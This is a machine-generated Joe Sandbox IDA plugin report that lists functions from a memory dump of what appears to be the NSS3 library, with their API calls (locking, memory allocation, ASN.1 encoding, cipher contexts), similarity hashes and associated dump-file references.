Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 5a49499c6500821a51fb7826191ad4a5ec237878fb90d2cd4be8f059fc555437
Instruction ID: 4fc31143f4adc05e5725e3e3f1fb654cc1d9fb7acfe2f232ba9c965c87bf11fa
Opcode Fuzzy Hash: 5a49499c6500821a51fb7826191ad4a5ec237878fb90d2cd4be8f059fc555437
Instruction Fuzzy Hash: 502140B3F002845BEB1065759F69B6B76AEDFC1748F190035D91C63A02FB68C89482B2

Function 6C70A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6C7E9270), ref: 6C70A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6C7E9270), ref: 6C70A9DE

Part of subcall function 6C70AB40: __aulldiv.LIBCMT ref: 6C70AB66

Part of subcall function 6C7ECA40: LeaveCriticalSection.KERNEL32(?), ref: 6C7ECAAB

LeaveCriticalSection.KERNEL32(?), ref: 6C70AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6C70AA39
EnterCriticalSection.KERNEL32(?), ref: 6C70AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C70AAEB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 4bf1c52225bc304836d872ef6ac0e82f5d016c312f56b24dbbe9c12146f3b9db
Instruction ID: 639470c883d4c7e6ba6448a228566ac89a03614bc6a85aa2bb11e0fe4c0cb99b
Opcode Fuzzy Hash: 4bf1c52225bc304836d872ef6ac0e82f5d016c312f56b24dbbe9c12146f3b9db
Instruction Fuzzy Hash: 4F416DF07047018FD7119F28C689796BBF1FB46368F28867EE4598B681DB719881CB80

Function 6C7388D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C740725,00000000,00000058), ref: 6C738906
EnterCriticalSection.KERNEL32(?), ref: 6C73891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C73894A
calloc.MOZGLUE(00000001,6C74072D,00000000,00000000,00000000,?,6C740725,00000000,00000058), ref: 6C738959
memset.VCRUNTIME140(?,00000000,?), ref: 6C738993
PR_Unlock.NSS3(?), ref: 6C7389AF

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: fbd74d6a961a2f7ed831eb48e5f8de4ed6b3a38e1e1a9c818048daf7a79fac6d
Instruction ID: a26a1ba4cb521fcfd3175178cd69e458320176184d42760ff1039c823bb051b9
Opcode Fuzzy Hash: fbd74d6a961a2f7ed831eb48e5f8de4ed6b3a38e1e1a9c818048daf7a79fac6d
Instruction Fuzzy Hash: 6031E472A00221ABD7118F28CD45A59BBA8AF0531CF159537EC5CDBB43E731E845C7D2

Function 6C72AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C72AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C72AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C72AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C849500), ref: 6C72AF23

Part of subcall function 6C77F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C77F0C8
Part of subcall function 6C77F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C77F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C72AF37

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 21eca9f10984246dda6905f275b0482a887ce77ac1f8ee6ac6edd4fe4cdefec1
Instruction ID: 508f789c11a2bc6522e44a5283542246edb511ce6786610fc63d778d2e3e9264
Opcode Fuzzy Hash: 21eca9f10984246dda6905f275b0482a887ce77ac1f8ee6ac6edd4fe4cdefec1
Instruction Fuzzy Hash: 07214C729052009BEB208E188E05B9A7BE4AF8573CF144325FC149B7C1F739D50987A7

Function 6C7AEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7AEE85
realloc.MOZGLUE(C3E59854,?), ref: 6C7AEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C7AEEC5

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

htonl.WSOCK32(?), ref: 6C7AEEE3
htonl.WSOCK32(00000000,?), ref: 6C7AEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C7AEF01

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: a5bba355b094f43ac52e67476650164d13c63d1319915a1997e8c14d903d99e3
Instruction ID: 0f2d85952ea25485e9309cf16d2d6db02f61ee72211cdbeb9e8dfa46d4ba6696
Opcode Fuzzy Hash: a5bba355b094f43ac52e67476650164d13c63d1319915a1997e8c14d903d99e3
Instruction Fuzzy Hash: 5421F971A052289FDF209F68DD8479AB7A8EF49358F148239ED099B741E330EC15C7E2

Function 6C75EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C75EE49

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C75EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C75EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C75EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C75EEB3

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 74af9821add6392291cf8369f88eaf6aeaa67f4cebf40426eeed85a75e5dc228
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 5621C3B6A102186BEB118B28DD89EAB77ACAB45718F454174FD089B341EB71DC2487F1

Function 6C778A60 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C7261C4,?,6C725F9C,00000000), ref: 6C778A81
TlsGetValue.KERNEL32(?,?,?,6C725F9C,00000000), ref: 6C778A9E
EnterCriticalSection.KERNEL32(?,?,?,?,6C725F9C,00000000), ref: 6C778AB7
PR_Unlock.NSS3(?,?,?,?,?,6C725F9C,00000000), ref: 6C778AD2
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C725F9C,00000000), ref: 6C778B05
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,6C725F9C,00000000), ref: 6C778B18

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CondNotifyValue$CriticalEnterSectionUnlock
String ID:
API String ID: 1007705821-0
Opcode ID: 275709d8247a0272c7af239ecc672a8408456173c08bfa4f0036a24e3889722c
Instruction ID: ccb20187a1e90ddac96847001640805d576ff0e2616cd8855239202a60aebc92
Opcode Fuzzy Hash: 275709d8247a0272c7af239ecc672a8408456173c08bfa4f0036a24e3889722c
Instruction Fuzzy Hash: 6B2130705047088BDF31AF38C248659B7F4BB05348F064A3AD89597B11E730D494CBA1

Function 6C774820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C774EB8,?), ref: 6C774884

Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,6C78085A,00000000,?,6C728369,?), ref: 6C778821
Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,?,6C78085A,00000000,?,6C728369,?), ref: 6C77883D
Part of subcall function 6C778800: EnterCriticalSection.KERNEL32(?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778856
Part of subcall function 6C778800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C778887
Part of subcall function 6C778800: PR_Unlock.NSS3(?,?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C774EB8,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C77484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C774EB8,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C77486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7748A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7748B8

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: dfb67390d4df31c10dcbf693b72c23a6f436918427102ef5025a168c1b08e19e
Instruction ID: e07a143c0c91bc62507345434a8f7f058cc4bfa680d1d5fad33e707556de9146
Opcode Fuzzy Hash: dfb67390d4df31c10dcbf693b72c23a6f436918427102ef5025a168c1b08e19e
Instruction Fuzzy Hash: D221D772F002589BEF315FAADE8861777B8AF0635D7040574DA1947A02E721E814DBF1

Function 6C7B3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B3D3F

Part of subcall function 6C72BA90: PORT_NewArena_Util.NSS3(00000800,6C7B3CAF,?), ref: 6C72BABF
Part of subcall function 6C72BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C7B3CAF,?), ref: 6C72BAD5
Part of subcall function 6C72BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C7B3CAF,?), ref: 6C72BB08
Part of subcall function 6C72BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C7B3CAF,?), ref: 6C72BB1A
Part of subcall function 6C72BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C7B3CAF,?), ref: 6C72BB3B

PR_EnterMonitor.NSS3(?), ref: 6C7B3CCB

Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90AB
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90C9
Part of subcall function 6C7E9090: EnterCriticalSection.KERNEL32 ref: 6C7E90E5
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E9116
Part of subcall function 6C7E9090: LeaveCriticalSection.KERNEL32 ref: 6C7E913F

PR_EnterMonitor.NSS3(?), ref: 6C7B3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7B3CF8
PR_ExitMonitor.NSS3(?), ref: 6C7B3D15
PR_ExitMonitor.NSS3(?), ref: 6C7B3D2E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: cd8ea17c239a080adbe30939849ab8a924bca277981751b77229a06db14d43cc
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: FE112BB66106006FE7215E69FE46BDBB3F4EF11308F504534E41AA7B21EA32F919C652

Function 6C7389E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7388AE,-00000008), ref: 6C738A04
EnterCriticalSection.KERNEL32(?), ref: 6C738A15
memset.VCRUNTIME140(6C7388AE,00000000,00000132), ref: 6C738A27
PR_Unlock.NSS3(?), ref: 6C738A35
memset.VCRUNTIME140(6C7388AE,00000000,00000132,00000000,-00000008,00000000,?,?,6C7388AE,-00000008), ref: 6C738A45
free.MOZGLUE(6C7388A6,?,6C7388AE,-00000008), ref: 6C738A4E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 089af8ef35b65cb6b57ab1cfebaa5ee8a5911bc8c0b2b6c0995c4fbff48acd59
Instruction ID: cfe4c41b42195b5a62b0cca5b37022c6c70bc6c31320bf6805ad7b58baeaafbc
Opcode Fuzzy Hash: 089af8ef35b65cb6b57ab1cfebaa5ee8a5911bc8c0b2b6c0995c4fbff48acd59
Instruction Fuzzy Hash: C411E6B1E003219BEB119FA8DD49A9ABB78FF05718F042532E91C97602E731D954C7E1

Function 6C838910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C83892E

Part of subcall function 6C710F00: PR_GetPageSize.NSS3(6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F1B
Part of subcall function 6C710F00: PR_NewLogModule.NSS3(clock,6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F25

PR_Lock.NSS3 ref: 6C838950

Part of subcall function 6C7E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C711A48), ref: 6C7E9BB3
Part of subcall function 6C7E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C711A48), ref: 6C7E9BC8

getprotobynumber.WSOCK32(?), ref: 6C838959
GetLastError.KERNEL32(?), ref: 6C838967
PR_GetCurrentThread.NSS3(?,?), ref: 6C83896F
PR_Unlock.NSS3(?,?), ref: 6C83898A

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 16a49d6994d131302bc7812e56f6796278332d04c0b779cb16dd955309295e66
Instruction ID: fc44442aa9aaa147a81a747fc6d20f7960f3ad39efd837fed9721d67f3aa6cea
Opcode Fuzzy Hash: 16a49d6994d131302bc7812e56f6796278332d04c0b779cb16dd955309295e66
Instruction Fuzzy Hash: 351106B2E100309BCB20AFB99E0858A3664AF46338F0627B7EC0997B61D7309C04C7C6

Function 6C82FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C82FD9E

Part of subcall function 6C7E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C711A48), ref: 6C7E9BB3
Part of subcall function 6C7E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C711A48), ref: 6C7E9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C82FDB9

Part of subcall function 6C70A900: TlsGetValue.KERNEL32(00000000,?,6C8814E4,?,6C6A4DD9), ref: 6C70A90F
Part of subcall function 6C70A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C70A94F

PR_Unlock.NSS3 ref: 6C82FDD4
PR_Lock.NSS3 ref: 6C82FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C82FE0D
PR_Unlock.NSS3 ref: 6C82FE23

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 037f77a899c265aa830c09c8dc84cde835e750050b429935b563859391d38b66
Instruction ID: 53fbc69fac8d429c437543aa43adfaf85108f8326fb670bf1bce0ec16f36c566
Opcode Fuzzy Hash: 037f77a899c265aa830c09c8dc84cde835e750050b429935b563859391d38b66
Instruction Fuzzy Hash: 860182FAA006115FCF255E19FD088567622BB1336C7150775E82647BA2EB22DD28C6C2

Function 6C7B6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C7BAA9B,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B6846

Part of subcall function 6C711770: calloc.MOZGLUE(00000001,0000019C,?,6C7115C2,?,?,?,?,?,00000001,00000040), ref: 6C71178D

PR_NewMonitor.NSS3(00000000,?,6C7BAA9B,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B6855

Part of subcall function 6C778680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C7255D0,00000000,00000000), ref: 6C77868B
Part of subcall function 6C778680: PR_NewLock.NSS3(00000000,00000000), ref: 6C7786A0
Part of subcall function 6C778680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C7786B2
Part of subcall function 6C778680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C7786C8
Part of subcall function 6C778680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C7786E2
Part of subcall function 6C778680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C7786EC
Part of subcall function 6C778680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C778700

PR_NewMonitor.NSS3(?,6C7BAA9B,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B687D

Part of subcall function 6C711770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C7118DE
Part of subcall function 6C711770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C7118F1

PR_NewMonitor.NSS3(?,6C7BAA9B,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B688C

Part of subcall function 6C711770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C7118FC
Part of subcall function 6C711770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C71198A

PR_NewLock.NSS3 ref: 6C7B68A5

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

PR_NewLock.NSS3 ref: 6C7B68B4

Part of subcall function 6C7E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7E9946
Part of subcall function 6C7E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A16B7,00000000), ref: 6C7E994E
Part of subcall function 6C7E98D0: free.MOZGLUE(00000000), ref: 6C7E995E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

